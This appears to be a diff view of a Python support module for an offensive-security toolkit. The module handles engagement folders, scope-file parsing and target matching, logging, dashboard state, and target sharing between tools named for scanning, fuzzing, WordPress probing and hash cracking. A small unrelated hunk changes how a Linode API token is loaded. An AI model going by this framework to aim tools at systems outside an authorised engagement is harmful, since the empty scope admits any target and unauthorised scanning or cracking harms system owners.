_ops_hook_cls = False # sentinel: tried and failed
|
||||
if _ops_hook_cls is False:
|
||||
return None
|
||||
hook = _ops_hook_cls(tool_name, engagement)
|
||||
atexit.register(lambda h=hook: _safe_complete(h))
|
||||
return hook
|
||||
|
||||
|
||||
def _safe_complete(hook):
|
||||
"""atexit callback — mark tool completed if it's still running."""
|
||||
try:
|
||||
if hook and hook.active:
|
||||
hook.complete()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ─── Engagement Management ───────────────────────────────────────────────────
|
||||
|
||||
def create_engagement(name):
|
||||
"""Create engagement directory structure. Idempotent — safe to call multiple times.
|
||||
|
||||
Returns the engagement root path.
|
||||
"""
|
||||
name = name.strip().replace(" ", "_")
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, name)
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
|
||||
# Core files
|
||||
scope_file = os.path.join(eng_dir, "scope.txt")
|
||||
if not os.path.exists(scope_file):
|
||||
with open(scope_file, "w") as f:
|
||||
f.write("# Scope file — one target per line\n")
|
||||
f.write("# Supported: CIDR (10.0.0.0/24), IP ranges (10.0.0.1-10), single IPs, FQDNs, *.wildcard\n")
|
||||
|
||||
log_file = os.path.join(eng_dir, "umbra.log")
|
||||
if not os.path.exists(log_file):
|
||||
with open(log_file, "w") as f:
|
||||
f.write(f"# Umbra engagement log — {name}\n")
|
||||
f.write(f"# Created: {datetime.now().isoformat()}\n\n")
|
||||
|
||||
csv_file = os.path.join(eng_dir, "command_log.csv")
|
||||
if not os.path.exists(csv_file):
|
||||
with open(csv_file, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(["timestamp", "tool", "action", "target", "result"])
|
||||
|
||||
# Sub-directories
|
||||
for subdir in ENGAGEMENT_SUBDIRS:
|
||||
os.makedirs(os.path.join(eng_dir, subdir), exist_ok=True)
|
||||
|
||||
return eng_dir
|
||||
|
||||
|
||||
def list_engagements():
|
||||
"""Return a sorted list of engagement names."""
|
||||
if not os.path.isdir(ENGAGEMENTS_DIR):
|
||||
return []
|
||||
return sorted(
|
||||
d for d in os.listdir(ENGAGEMENTS_DIR)
|
||||
if os.path.isdir(os.path.join(ENGAGEMENTS_DIR, d))
|
||||
)
|
||||
|
||||
|
||||
def get_engagement_dir(name):
|
||||
"""Return the engagement root directory (creates if needed)."""
|
||||
return create_engagement(name)
|
||||
|
||||
|
||||
def get_tool_output_dir(engagement, tool_name):
|
||||
"""Return the tool-specific subdirectory inside an engagement."""
|
||||
eng_dir = get_engagement_dir(engagement)
|
||||
subdir = TOOL_DIR_MAP.get(tool_name, "exports")
|
||||
path = os.path.join(eng_dir, subdir)
|
||||
os.makedirs(path, exist_ok=True)
|
||||
return path
|
||||
|
||||
|
||||
def get_engagement_db_path(engagement, tool_name):
|
||||
"""Return the path for a tool's database inside an engagement."""
|
||||
tool_dir = get_tool_output_dir(engagement, tool_name)
|
||||
return os.path.join(tool_dir, f"{tool_name}.db")
|
||||
|
||||
|
||||
# ─── Scope Enforcement ──────────────────────────────────────────────────────
|
||||
|
||||
def load_scope(file_path):
|
||||
"""Parse a scope file and return a list of scope entries.
|
||||
|
||||
Supported formats:
|
||||
- CIDR: 10.0.0.0/24
|
||||
- IP range: 10.0.0.1-10 (expands last octet)
|
||||
- Single IP: 10.0.0.1
|
||||
- FQDN: example.com
|
||||
- Wildcard: *.example.com
|
||||
- Comment lines start with #
|
||||
"""
|
||||
scope = []
|
||||
file_path = os.path.expanduser(file_path)
|
||||
if not os.path.exists(file_path):
|
||||
return scope
|
||||
|
||||
with open(file_path) as f:
|
||||
for raw_line in f:
|
||||
line = raw_line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
scope.append(line)
|
||||
return scope
|
||||
|
||||
|
||||
def _is_ip(s):
|
||||
"""Check if string looks like an IP address."""
|
||||
try:
|
||||
ipaddress.ip_address(s)
|
||||
return True
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def _match_cidr(target_ip, cidr):
|
||||
"""Check if an IP is within a CIDR range."""
|
||||
try:
|
||||
return ipaddress.ip_address(target_ip) in ipaddress.ip_network(cidr, strict=False)
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def _match_ip_range(target_ip, range_str):
|
||||
"""Match an IP range like 10.0.0.1-10."""
|
||||
m = re.match(r"^(\d+\.\d+\.\d+\.)(\d+)-(\d+)$", range_str)
|
||||
if not m:
|
||||
return False
|
||||
prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3))
|
||||
try:
|
||||
last_octet = int(target_ip.split(".")[-1])
|
||||
ip_prefix = ".".join(target_ip.split(".")[:-1]) + "."
|
||||
return ip_prefix == prefix and start <= last_octet <= end
|
||||
except (ValueError, IndexError):
|
||||
return False
|
||||
|
||||
|
||||
def check_scope(target, scope):
|
||||
"""Check if a target is within scope.
|
||||
|
||||
Returns True if allowed (in scope or scope is empty).
|
||||
Returns False if blocked (out of scope).
|
||||
"""
|
||||
if not scope:
|
||||
return True # Empty scope = allow all
|
||||
|
||||
# Normalize target
|
||||
target = target.strip().lower()
|
||||
# Strip protocol/path if URL
|
||||
if "://" in target:
|
||||
from urllib.parse import urlparse
|
||||
parsed = urlparse(target)
|
||||
target = parsed.hostname or target
|
||||
|
||||
target_is_ip = _is_ip(target)
|
||||
|
||||
for entry in scope:
|
||||
entry_lower = entry.lower().strip()
|
||||
|
||||
# CIDR match
|
||||
if "/" in entry and target_is_ip:
|
||||
if _match_cidr(target, entry):
|
||||
return True
|
||||
continue
|
||||
|
||||
# IP range match
|
||||
if re.match(r"^\d+\.\d+\.\d+\.\d+-\d+$", entry):
|
||||
if target_is_ip and _match_ip_range(target, entry):
|
||||
return True
|
||||
continue
|
||||
|
||||
# Exact IP match
|
||||
if _is_ip(entry) and target_is_ip:
|
||||
if target == entry:
|
||||
return True
|
||||
continue
|
||||
|
||||
# Wildcard FQDN match
|
||||
if entry_lower.startswith("*."):
|
||||
# *.example.com matches foo.example.com and example.com
|
||||
domain_part = entry_lower[2:]
|
||||
if target == domain_part or target.endswith("." + domain_part):
|
||||
return True
|
||||
continue
|
||||
|
||||
# Exact FQDN match
|
||||
if target == entry_lower:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def get_scope_for_engagement(name):
|
||||
"""Load scope from an engagement's scope.txt file."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
|
||||
scope_file = os.path.join(eng_dir, "scope.txt")
|
||||
return load_scope(scope_file)
|
||||
|
||||
|
||||
# ─── Operational Logging ────────────────────────────────────────────────────
|
||||
|
||||
def op_log(engagement, message, level="info"):
|
||||
"""Append a timestamped log entry to the engagement's umbra.log.
|
||||
|
||||
Levels: info=[*], success=[+], warning=[!], error=[-]
|
||||
"""
|
||||
prefixes = {
|
||||
"info": "[*]",
|
||||
"success": "[+]",
|
||||
"warning": "[!]",
|
||||
"error": "[-]",
|
||||
}
|
||||
prefix = prefixes.get(level, "[*]")
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
log_path = os.path.join(eng_dir, "umbra.log")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
with open(log_path, "a") as f:
|
||||
f.write(f"{ts} {prefix} {message}\n")
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def op_log_csv(engagement, tool, action, target, result):
|
||||
"""Append a structured CSV audit row to command_log.csv."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
csv_path = os.path.join(eng_dir, "command_log.csv")
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
with open(csv_path, "a", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow([ts, tool, action, target, result])
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def generate_engagement_summary(name):
|
||||
"""Generate a text summary of all tool activity within an engagement."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
|
||||
if not os.path.isdir(eng_dir):
|
||||
return f"Engagement '{name}' not found."
|
||||
|
||||
lines = [
|
||||
f"Engagement Summary: {name}",
|
||||
f"{'=' * 50}",
|
||||
f"Path: {eng_dir}",
|
||||
f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
|
||||
"",
|
||||
]
|
||||
|
||||
# Check each tool subdirectory for .db files
|
||||
for tool_name, subdir in TOOL_DIR_MAP.items():
|
||||
tool_dir = os.path.join(eng_dir, subdir)
|
||||
db_path = os.path.join(tool_dir, f"{tool_name}.db")
|
||||
if os.path.exists(db_path):
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
tables = [r[0] for r in conn.execute(
|
||||
"SELECT name FROM sqlite_master WHERE type='table'"
|
||||
).fetchall()]
|
||||
counts = {}
|
||||
for tbl in tables:
|
||||
try:
|
||||
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
|
||||
if c > 0:
|
||||
counts[tbl] = c
|
||||
except Exception:
|
||||
pass
|
||||
conn.close()
|
||||
if counts:
|
||||
lines.append(f" {tool_name}:")
|
||||
for tbl, cnt in counts.items():
|
||||
lines.append(f" {tbl}: {cnt:,} records")
|
||||
except Exception:
|
||||
lines.append(f" {tool_name}: DB error")
|
||||
else:
|
||||
# Check if directory has any files at all
|
||||
if os.path.isdir(tool_dir) and os.listdir(tool_dir):
|
||||
lines.append(f" {tool_name}: files present (no DB)")
|
||||
|
||||
# Scope info
|
||||
scope = get_scope_for_engagement(name)
|
||||
if scope:
|
||||
lines.append(f"\nScope: {len(scope)} entries")
|
||||
for entry in scope[:10]:
|
||||
lines.append(f" {entry}")
|
||||
if len(scope) > 10:
|
||||
lines.append(f" ... and {len(scope) - 10} more")
|
||||
|
||||
# Log stats
|
||||
log_path = os.path.join(eng_dir, "umbra.log")
|
||||
if os.path.exists(log_path):
|
||||
with open(log_path) as f:
|
||||
log_lines = f.readlines()
|
||||
# Count non-comment, non-empty lines
|
||||
entries = [l for l in log_lines if l.strip() and not l.startswith("#")]
|
||||
lines.append(f"\nLog entries: {len(entries)}")
|
||||
|
||||
# CSV command log
|
||||
csv_path = os.path.join(eng_dir, "command_log.csv")
|
||||
if os.path.exists(csv_path):
|
||||
with open(csv_path) as f:
|
||||
reader = csv.reader(f)
|
||||
next(reader, None) # Skip header
|
||||
commands = list(reader)
|
||||
lines.append(f"Commands logged: {len(commands)}")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
# ─── State & Event Stream (for ops dashboard) ──────────────────────────────
|
||||
|
||||
def write_tool_state(engagement, tool_name, status, **extra):
|
||||
"""Write tool status to state.json for dashboard consumption.
|
||||
|
||||
Called automatically by op_log when level is 'success' (tool start/finish).
|
||||
Can also be called directly for fine-grained control.
|
||||
"""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
state_path = os.path.join(eng_dir, "state.json")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
fd = os.open(state_path, os.O_RDWR | os.O_CREAT)
|
||||
try:
|
||||
fcntl.flock(fd, fcntl.LOCK_EX)
|
||||
raw = b""
|
||||
while True:
|
||||
chunk = os.read(fd, 8192)
|
||||
if not chunk:
|
||||
break
|
||||
raw += chunk
|
||||
state = json.loads(raw) if raw.strip() else {"tools": {}}
|
||||
state.setdefault("tools", {})
|
||||
tool_entry = state["tools"].get(tool_name, {})
|
||||
tool_entry["status"] = status
|
||||
tool_entry.update(extra)
|
||||
state["tools"][tool_name] = tool_entry
|
||||
state["updated"] = time.strftime("%Y-%m-%dT%H:%M:%S")
|
||||
out = json.dumps(state, indent=2).encode()
|
||||
os.lseek(fd, 0, os.SEEK_SET)
|
||||
os.ftruncate(fd, 0)
|
||||
os.write(fd, out)
|
||||
finally:
|
||||
fcntl.flock(fd, fcntl.LOCK_UN)
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def emit_event(engagement, tool_name, event_type, message):
|
||||
"""Append event to events.jsonl for dashboard live feed."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
events_path = os.path.join(eng_dir, "events.jsonl")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
entry = json.dumps({
|
||||
"ts": time.strftime("%Y-%m-%dT%H:%M:%S"),
|
||||
"tool": tool_name,
|
||||
"type": event_type,
|
||||
"msg": message,
|
||||
})
|
||||
with open(events_path, "a") as f:
|
||||
fcntl.flock(f, fcntl.LOCK_EX)
|
||||
f.write(entry + "\n")
|
||||
fcntl.flock(f, fcntl.LOCK_UN)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
# ─── Cross-Tool Imports ─────────────────────────────────────────────────────
|
||||
|
||||
# Maps tool name to (table_name, target_column) for extracting targets
|
||||
TOOL_TARGET_QUERIES = {
|
||||
"um-scan": ("SELECT DISTINCT host FROM hosts", "host"),
|
||||
"um-api": ("SELECT DISTINCT target FROM targets", "target"),
|
||||
"um-intel": ("SELECT DISTINCT target FROM targets", "target"),
|
||||
"um-enum": ("SELECT DISTINCT domain FROM targets", "domain"),
|
||||
"um-fuzz": ("SELECT DISTINCT base_url FROM results", "base_url"),
|
||||
"um-hash": ("SELECT DISTINCT domain FROM sites", "domain"),
|
||||
"um-wp": ("SELECT DISTINCT domain FROM sites WHERE is_wordpress=1", "domain"),
|
||||
"um-crack": ("SELECT DISTINCT domain FROM hashes WHERE cracked_email != ''", "domain"),
|
||||
"um-exif": ("SELECT DISTINCT file_path FROM images WHERE has_exif=1", "file_path"),
|
||||
}
|
||||
|
||||
|
||||
def get_targets_from_tool_db(db_path, tool_name):
|
||||
"""Query another tool's database to extract target list.
|
||||
|
||||
Returns a list of target strings.
|
||||
"""
|
||||
if not os.path.exists(db_path):
|
||||
return []
|
||||
|
||||
query_info = TOOL_TARGET_QUERIES.get(tool_name)
|
||||
if not query_info:
|
||||
return []
|
||||
|
||||
query = query_info[0]
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
rows = conn.execute(query).fetchall()
|
||||
conn.close()
|
||||
return [str(r[0]) for r in rows if r[0]]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
def find_tool_db(tool_name, engagement=None):
|
||||
"""Locate a tool's database file.
|
||||
|
||||
Search order:
|
||||
1. Engagement directory (if provided)
|
||||
2. Current working directory
|
||||
"""
|
||||
# Check engagement directory first
|
||||
if engagement:
|
||||
db_path = get_engagement_db_path(engagement, tool_name)
|
||||
if os.path.exists(db_path):
|
||||
return db_path
|
||||
|
||||
# Fall back to current working directory
|
||||
cwd_path = os.path.join(os.getcwd(), f"{tool_name}.db")
|
||||
if os.path.exists(cwd_path):
|
||||
return cwd_path
|
||||
|
||||
return None
|
||||
@@ -170,9 +170,7 @@ def set_provider_environment_for_teardown(config):
|
||||
# Load token from provider vars file
|
||||
try:
|
||||
from utils.common import load_vars_file, PROVIDER_DIRS
|
||||
provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize())
|
||||
vars_file = f"providers/{provider_dir}/vars.yaml"
|
||||
vars_data = load_vars_file(vars_file)
|
||||
vars_data = load_vars_file(provider)
|
||||
if vars_data and vars_data.get('linode_token'):
|
||||
os.environ['LINODE_TOKEN'] = vars_data['linode_token']
|
||||
config['linode_token'] = vars_data['linode_token'] # Add to config for later use
|
||||
|
||||
Reference in New Issue
Block a user